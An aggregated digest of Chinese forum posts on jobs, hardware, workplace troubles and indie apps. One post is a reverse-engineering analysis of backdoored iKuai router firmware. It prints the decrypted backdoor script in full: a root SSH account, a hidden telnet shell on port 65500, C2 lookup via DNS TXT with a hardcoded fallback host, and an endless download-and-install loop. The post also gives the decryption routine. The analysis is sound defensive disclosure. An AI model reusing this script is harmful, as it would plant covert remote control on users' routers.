负责服务器部署、维护、监控

线路优化(延迟、丢包、稳定性)

实现高并发处理、节点调度、线路轮询

参与网络架构与加速方案优化

任职要求

熟悉 Linux 运维体系 熟悉 TCP/IP 、DNS 、网络调优

有高并发系统维护经验

能处理服务器配置、扩容、容灾

强加分项

熟悉 VPN/隧道协议( OpenVPN / WireGuard / V2Ray 等) 有加速器 / 私有协议开发经验 海外节点/CDN 经验 能接受出国

统一核心要求:有团队意识,能协同作战、主动发现问题、强执行力、结果导向、有灰度认知(理解规则边界)

49 comments by ASBTYU at 19:12:26 in 酷工作


人生中第一次装机🎉

买配件,组装,旧服务器环境迁移。

耗时 7 天终于搞定了⚒️

人生中第一次装机,还算顺利✌️

33e014287cddb4abcbc3a13a3478cef0

c8728a67470c8bb636a40172b196637a

02c425618bd02a558b0899bf15bc7818

3493065c5486805a5475966c27bd3f32

9c3376fff5f7f788cda7ffeb43460142

97b26c533e7cf247b63ef1f1f47543b3

47 comments by MagicCoder at 17:24:32 in 程序员


公司前两周招了个新人, 在犹豫要不要叫老板辞退他

说说前提, 公司不是说非常的正规, 总共就三四个开发。。所以要求是能够全栈的去做,没有测试, 需求理解也得靠自己来琢磨。 现在有 ai coding 的情况下, 分析理解代码也很快,公司也有提供 github copilot , 所以我很快就分配任务下去了

最近给他分配了几个任务

  1. 让他对接 api 接口, 开发完说好了, 提交了代码, 因为是新人, 我就做做兜底审核, 发现有部分参数不能生效, 他没有测试出来, 而这几个参数是这个接口效果的核心参数

  2. 再次对接 api 接口, 开发完说好了, 提交了代码, 我继续审核, 发现计费逻辑没有考虑完全, 有部分计费逻辑没有算进去。

  3. 再次对接 api 接口,开发完说好了, 提交了代码, 我继续审核, 发现他计费逻辑少了数量计费

三次, 我都对他进行了警告,要求他思维要严谨, 计费是与金钱有关, 说实话我已经对他很不满了, 本身自己工作就多,还每次都能检查到这种基本需求问题

  1. 还是开发个功能, 基于现有的邀请返利,增加充值返利功能,发现他把返利逻辑设置成了固定返回,不考虑充值多少返利多少。。。

如果说之前几次我是觉得他是个新人 ,应该要对他包容的话, 这里我已经有点怀疑人生了, 他到底有没有思维严谨性,是否真的做过开发。。。

  1. 昨天晚上, 我又心血来潮的,休息日想到他前几天有分配一个比较重要的功能还没有 merge 进来。。。就 merge 来看了看, 因为逻辑比较复杂, 修改点也比较多, 我就叫 ai 分析了下他的修改,发现他的实现是基于预估的值来实现, 而不是根据 api 接口返回的实际的值来实现的。。。我马上就测了下,发现预估值和实际值会有严重偏差, 很大概率会落实不到位。 我更怀疑人生了, 用 claude 直接修改,自己审核修了。心塞

再来个补充,api 接口对接都是有明确文档的。 计费逻辑文档也写的清楚。。。我分配任务的时候也只是简单的描述下。很多时候都要自己去理解, 补充, 脑补。 而我观他代码,基本都是 ai 生成, 不知道有没有去审核,我保持怀疑态度, 估计是把我的描述简答的修改了下丢 ai , 然后直接就用来测了

招这个人,本意上是想给我分担一下压力,并且更快速的迭代项目。但到目前来看, 应该是没有给我带来啥效率提升的,反倒给我增加了测试的压力负担。。。以及后续的任务也都得继续测试保障。 同时这个人努力也努力,也有在加班,但加班加班, 没有带来任何的对我来说的正向反馈。 就很心塞

个人没有带过人, 以前也是过安逸日子,就一直想给他机会,叫他走,开发压力有落在身上, 新招人过来也要时间,同时也不忍心, 但不叫他走,等于我给自己添了许多测试任务,开发任务的效率也没有提升多少, 把自己又搞心塞。

现在感觉他就像是没有新兵蛋子一样,没有啥逻辑思维,谨慎思维, 而且他三十来岁,十年经验了, 工资也不低 20+, 真的很纳闷, 那么多年经验,在有 ai 的前提下,怎么会对开发功能出那么多能忍的 bug

由衷请教下,这个人该叫他走人吗,有点忍不了了

46 comments by pengyOne at 23:29:25 in 职场话题


今天生日,有哪些羊毛可以薅? emmmm ,京东今天送了 500 京豆。
网上国网以前有优惠券。现在没有了。
兄弟们,还有其他什么羊毛可以薅吗?

44 comments by Mandmg at 08:07:15 in 问与答


面对被裁员后的生活,你会做出怎样的选择呢? 主包中年单身,产品经理岗位,已经确定被裁,有几十万的存款,基本上跟房贷持平(可以一次还清)。
可以选择路径:
1. [找工作] 找一个同类型工作,继续内卷。但是要接受薪资大幅下滑的现实。
2. [躺平] 先调整心态,什么时候休息好了,再想接下来的工作。
3. [回老家] 把房子卖了,然后回老家发展(北方省会级城市)。
4. [创业] 通过 ai 搞一些一人公司的小项目,小而美赚生活费。
5. [自媒体] 通过工作经验,写一些干货做视频,分享一些自己的项目经历。

像一个从家里被赶出来淋雨的孩子,挺迷茫的,大家有没有成功的案例呀?

41 comments by johnsun0821 at 08:53:20 in 职场话题


你会愿意为浏览器付费吗? Brave 新的浏览器 Origin
[专为那些不需要支持 Brave 商业模式的冗余功能,但仍渴望获得 Brave 独有隐私保护的用户而设计。]


59.99 美元,折合人民币 425 元,一次供 10 台设备使用。

https://account.brave.com/?intent=checkout&product=origin

40 comments by 339 at 01:39:31 in 浏览器


准备 618 买苹果 17,买国行还是外版? 不知道有没有必要买外版
求教各位使用过的佬友

40 comments by vfx666 at 11:20:32 in iPhone


被 Google Adsense 拒绝 6 次后,终于在第 7 次通过审核

2026 年 3 月 22 日终于通过了 Google Adsense 审核,从 2024 年 4 月 3 日开始提交审核,总共提交了 7 次,总算是通过了。到今天为止差不多一个月的时间,带来的总广告收入为 5.78 美元,虽然还很低,但起码流程上通了。

小小纪念一下,接下来继续优化 SEO ,争取广告费早日日入 1 刀

33 comments by twk93 at 10:54:02 in AdSense


近 4 个月做了 4 个 macOS App,最近 90 天拿到 682 个下载和 $121 销售 最近把过去几个月做的几个 macOS app 的数据整理了一下,第一次觉得这件事开始有一点真实感了。

这 4 个月差不多平均一个月做一个,现在一共上架了 4 个产品:

- WitNote
- GlotShot
- TrekReel
- DOMPrompter

最近 90 天的数据大概是:

- 682 个下载 / Units
- $121 销售额

区域分布也比我原来想的更散一些:

- Asia Pacific:334
- USA + Canada:278
- Europe:58
- Latin America + Caribbean:10

数字当然还很小,离真正跑出来还远,但对独立开发者来说,这种真的有人下载、真的有人付费的感觉还是挺不一样的。

至少说明这条路不是完全空的。

这几个月我最大的感受其实不是某一个产品突然爆了,而是小产品连续做下去之后,会慢慢积累出一点复利:

- 有的产品下载多一点
- 有的产品付费更直接一点
- 有的产品带来的是后续题材和经验

现在回头看,这种小体量但真实的数据,反而更能让我继续往前做。

如果大家对这种独立开发 / App Store / 多个小产品并行推进的过程感兴趣,后面我也可以继续分享:

- 这几个月怎么保持一个月一个产品的节奏
- App Store 上线后真实会发生什么
- 哪些产品有人下载但不赚钱,哪些赚钱但下载不多
- 做多语言、小工具、开发者产品的一些经验

相关项目都放在 GitHub 主页里了:
https://github.com/hooosberg

如果大家更想看某一个产品或者某一类复盘,我可以后面单独展开写。

23 comments by hashtome at 02:35:57 in 分享创造


爱快软路由 ikuai 开心版 带插件固件完整分析

前阵子在恩山看到有用户在宣传 iKuai 插件版,价格几百一个授权还提供一个 7 天试用的密钥。嚯,一看一堆插件支持,其中还有疑似 Clash 的小猫咪。当然我很感谢他们让我把软路由玩爽了,一想爱快云平台只有那 1 个冷冰冰的 Docker 就不寒而栗...

undefined

他们的闲鱼 ID 分别是:公路暴走的榛子、伦敦天蝎座海牛。还有个曾用名:金陵巨蟹座佩奇(他们有多个某鱼小号注意鉴别马甲),至于他们的固件比爱快官方还要 bt ,这些贩子销售所谓的 iKuai"企业版"固件,声称包含 Docker 、Shell 等企业版功能。实际上,这些固件通过植入后门程序实现插件加载,同时在用户路由器上留下多个后门账户。

undefined

本文完整记录了逆向分析过程。


1. 固件提取

1.1 获取 rootfs

# 使用 Nyarc 解密 iKuai 固件
nyarc --ikuai-decrypt firmware.bin -o decrypted.xz

# 解压 XZ (必须 CRC32 )
xz -d decrypted.xz

# 挂载 ext2 rootfs
mkdir /tmp/xyrm
mount -o loop decrypted /tmp/xyrm

1.2 发现异常文件

# 标准 iKuai 不应该有这个文件
ls -la /tmp/xyrm/sbin/replace_files
# -rwxr-xr-x 1 root root 42240 ... replace_files

ls -la /tmp/xyrm/sbin/appinst.bin.pkg
# -rw-r--r-- 1 root root 26288 ... appinst.bin.pkg (Salted__加密)

1.3 Nyarc 安全扫描发现后门

nyarc --scan /tmp/xyrm

输出(节选):

[CRITICAL] Hardcoded Password
  /etc/shadow: 3 个异常账户
    root:$1$...:17857    ← 后门密码
    sshd:$1$...:17857    ← 后门密码  
    iksshd:$1$...:17857  ← 后门账户(标准 iKuai 无此用户)

[CRITICAL] Backdoor Detected
  /sbin/replace_files: 42KB ELF, 非标准 iKuai 文件
  
🟠 [HIGH] Telnet Backdoor
  /etc/setup/rc: telnetd -p 65500 -l /bin/ash
  ← 隐藏 Telnet 后门,端口 65500

2. replace_files 逆向

2.1 基本信息

file /tmp/xyrm/sbin/replace_files
# ELF 64-bit LSB executable, x86-64, statically linked

strings /tmp/xyrm/sbin/replace_files | grep -i "bash\|script\|tmp"
# /bin/bash -s
# /tmp/script_out_
# /tmp/script_err_
# kworker/u8:1-ev    ← 伪装成内核线程!

关键发现:

  • 静态链接 ELF ,42KB
  • 通过/bin/bash -s执行嵌入的脚本
  • 伪装进程名为kworker/u8:1-ev(模仿内核工作线程)
  • 输出重定向到/tmp/script_out_XXXXXX

2.2 Ghidra 反编译

使用 Ghidra headless 模式反编译:

# 导入并分析
analyzeHeadless /tmp/ghidra_rf rf_proj -import replace_files

# 反编译所有函数
analyzeHeadless /tmp/ghidra_rf rf_proj -process replace_files \
  -postScript DecompileAll.java

2.3 核心函数分析

main 入口( FUN_0040168a )

void FUN_0040168a(undefined4 param_1, undefined8 *param_2)
{
    // 1. 伪装进程名
    uVar1 = FUN_00405a20(*param_2);
    FUN_00405aa0(*param_2, "kworker/u8:1-ev", uVar1);
    
    // 2. 解密嵌入的脚本
    FUN_004016e8(&DAT_0040b0a0, &DAT_0040a040, 0xdd1);
    //           ^输出缓冲区    ^加密数据       ^长度=3537 字节
    
    // 3. 执行解密后的脚本
    FUN_004010e9(&DAT_0040b0a0, param_1, param_2);
}

解密函数( FUN_004016e8 )— 核心!

void FUN_004016e8(long output, undefined8 encrypted_data, uint data_len)
{
    // 1. 生成 1024 字节查找表(类似 iKuai rootfs 的 sbox !)
    for (i = 0; i < 0x400; i++) {
        sbox[i] = key[i & 0xf] + ((char)(i + 1) * -0x22);
        //        ^16 字节密钥     ^乘以-0x22(即-34)
    }
    
    // 2. 逐字节解密:减法 + 位旋转
    for (i = 0; i < data_len; i++) {
        bVar4 = (sbox[i & 0x3ff] + (char)data_len) & 0xFF;
        
        // 计算旋转位数:bVar4 % 7 + 1
        // Ghidra 显示的是编译器优化后的除法(乘 0x25 右移 8 )
        cVar1 = (bVar4 * 0x25) >> 8;
        div7 = (cVar1 + ((bVar4 - cVar1) >> 1)) >> 2;
        shift = bVar4 - div7 * 7 + 1;
        
        // 解密操作:减去 bVar4 ,然后左旋转 shift 位
        data[i] = ROL((data[i] - bVar4) & 0xFF, shift);
    }
}

2.4 密钥提取

从 ELF 的数据段提取:

with open('replace_files', 'rb') as f:
    elf = f.read()

# 解析 ELF program headers 找到文件偏移
# DAT_0040ae20 (虚拟地址) → 0x9e20 (文件偏移)
# DAT_0040a040 (虚拟地址) → 0x9040 (文件偏移)

key = elf[0x9e20:0x9e20+16]
# 密钥: 88b1f1937a2cb39d5383953eb38a5368

encrypted_data = elf[0x9040:0x9040+0xdd1]
# 3537 字节加密数据

2.5 Python 解密实现

key = elf[0x9e20:0x9e20+16]
enc_data = bytearray(elf[0x9040:0x9040+0xdd1])
data_len = 0xdd1  # 3537

# 生成 sbox
sbox = bytearray(1024)
for i in range(1024):
    sbox[i] = (key[i & 0xf] + ((i + 1) * (-0x22 & 0xFF))) & 0xFF

# 解密
dec = bytearray(len(enc_data))
for i in range(len(enc_data)):
    bVar4 = (sbox[i & 0x3ff] + (data_len & 0xFF)) & 0xFF
    
    # shift = bVar4 % 7 + 1 (编译器优化还原)
    cVar1 = (bVar4 * 0x25) >> 8
    div7 = (cVar1 + ((bVar4 - cVar1) >> 1)) >> 2
    shift = (bVar4 - div7 * 7 + 1) & 0x1F
    
    # 解密:减去 bVar4 ,然后 ROL
    val = (enc_data[i] - bVar4) & 0xFF
    val = ((val << shift) | (val >> (8 - shift))) & 0xFF
    dec[i] = val

print(bytes(dec).decode())

3. 解密后的后门脚本

完整解密输出( 3537 字节 bash 脚本):

#!/bin/bash

# ===== 后门 1: 添加 SSH 后门账户 =====
iksshd=`cat /etc/shadow|grep "iksshd"|wc -l`
if [ $iksshd -eq 0 ];then
echo 'iksshd:$1$ebBzICAY$5CaSyktzPh8SEUYMHdzhf1:17857:0:99999:7:::' >>/etc/shadow
echo 'iksshd:x:0:0:iksshd:/root:/bin/ash' >>/etc/passwd
fi
# iksshd 账户: UID=0(root 权限), 密码 hash 已知

# ===== 后门 2: C2 通信 =====
check_network() {
    while true; do
        ping -c2 qq.com >/dev/null 2>&1 && break
        ping -c2 163.com >/dev/null 2>&1 && break
        ping -c2 baidu.com >/dev/null 2>&1 && break
        sleep 5
    done
}

# ===== 后门 3: 远程控制服务器 =====
REG_SERVER="patch.ikuai8.cn"      # 伪装成 iKuai 官方域名
REG_SERVER2="www.ikuai8.cn"       # 备用
oss_cn_beijing="https://ikuai8-app.oss-cn-beijing.aliyuncs.com"

wget_file(){
    # 通过 DNS TXT 记录获取真实 C2 地址
    regaddr=$(curl -s "https://doh.pub/dns-query?name=${REG_SERVER}&type=TXT" \
              | jq -r '.Answer[].data' | sed -E 's/"//g')
    
    # 备用 DNS
    if [ -z "$regaddr" ]; then
        regaddr=$(curl -s "https://dns.alidns.com/resolve?name=${REG_SERVER2}&type=TXT" \
                  | jq -r '.Answer[].data' | sed -E 's/"//g')
    fi
    
    # 最终备用:硬编码动态 DNS
    if [ -z "$regaddr" ]; then
        regaddr="http://bdoptical2.vicp.cc:8081"
    fi
    
    # 通过 C2 服务器签名 OSS URL
    SIGNED_SER="$regaddr/generate_signed_url.php?url="
    SIGNED_URL=$(curl -s "$SIGNED_SER$oss_cn_beijing/$1")
    echo $SIGNED_URL
}

# ===== 后门 4: 无限循环下载+安装插件 =====
while true; do
    check_network
    sleep 15

    # 下载版本信息
    downloaded_version=`curl -sL $(wget_file "appinst_ver/version_rom")`
    
    # 下载 pmd 数据库(加密的 JSON )
    wget -O /tmp/iktmp/app_up/db \
         $(wget_file "appinst_ver/appinst_$downloaded_version") -q
    
    # 下载插件包( AES 加密的 tar.gz )
    wget -O /tmp/iktmp/app_up/appinst.bin.pkg \
         $(wget_file "appinst_ver/appinst_$downloaded_version.bin.ikp") -q

    if [ -s /tmp/iktmp/app_up/db ] && [ -s /tmp/iktmp/app_up/appinst.bin.pkg ]; then
        # 覆盖 pmd 数据库
        cp /tmp/iktmp/app_up/db /etc/log/packages/db/.__DB.3.x86_64
        
        # 放置插件包
        cp /tmp/iktmp/app_up/appinst.bin.pkg /etc/log/packages/appinst.bin.pkg
        
        # 重启 pmd ( iKuai 插件管理器)强制加载
        killall pmd
        rm /tmp/packages -r
        pmd
        sleep 30
    fi

    # 安装成功则退出,否则永远重试
    if [ -f /tmp/ikpkg/appinst/version ]; then
        exit
    fi
    
    # 清理重试
    rm /etc/log/packages/*.pkg -f
done

4. 后门清单

# 类型 详情 危害等级
1 SSH 后门账户 iksshd (UID=0, root 权限) 严重
2 Telnet 后门 端口 65500, /bin/ash 严重
3 进程伪装 伪装为kworker/u8:1-ev内核线程
4 C2 通信 DNS TXT 查询获取控制服务器地址 严重
5 远程下载 从阿里云 OSS 下载任意代码执行 严重
6 pmd 注入 覆盖官方插件数据库加载恶意插件 严重
7 无限循环 后门脚本永不退出,持续尝试
8 禁用 bash /etc/setup/rc中移除 bash ,防止用户排查

C2 基础设施

patch.ikuai8.cn          → DNS TXT → 真实 C2 地址
www.ikuai8.cn            → 备用 DNS TXT
bdoptical2.vicp.cc:8081  → 硬编码备用 C2 (花生壳动态域名)
ikuai8-app.oss-cn-beijing.aliyuncs.com → 插件存储(阿里云 OSS )

C2 服务器功能:
  /generate_signed_url.php → 生成 OSS 签名下载链接

5. 加密算法对比

replace_files vs iKuai rootfs

特性 replace_files iKuai rootfs
算法 自定义 sbox+位旋转 自定义 sbox+XOR
密钥长度 16 字节 16 字节
sbox 大小 1024 字节 256 字节(uint32 溢出)
操作 减法+ROL XOR
密钥存储 ELF 数据段 vmlinuz/rootfs 末尾

两者思路一致:生成查找表→逐字节变换。可能是同一作者/团队。


6. Nyarc 自动化检测

Nyarc 可以自动检测此类后门:

# 固件检测
nyarc --fw-detect xianyu_firmware.bin
# → iKuai 3.7.x (modified)

# 安全扫描
nyarc --scan /path/to/rootfs
# → CRITICAL: Hardcoded password in /etc/shadow
# → CRITICAL: Unknown ELF in /sbin/replace_files
# → HIGH: Telnet on non-standard port 65500

# 加密分析
nyarc --crypto-scan /sbin/replace_files
# → Custom encryption detected (sbox + rotation)

# 完整报告
nyarc --report xianyu_firmware.bin report.txt

7. 工具

  • Nyarc: 固件分析工具
  • Ghidra: NSA 逆向工程框架 — ELF 反编译
  • Python: 解密脚本实现

本文仅发布于 V2EX 使用 Nyarc v1.0.0 + Ghidra 11.3.2 测试

22 comments by Nyarime at 07:47:31 in 宽带症候群


有人会愿意为没有比官方便宜的 Claude 中转付费吗?

感觉干净的 Claude 中转都不便宜,看起来有些甚至还比官方贵,这种为何还有人付费?

19 comments by zhique at 06:21:19 in 程序员

Built With ❤️ by jiacai2050/mofish.
 
Reply all
Reply to author
Forward
0 new messages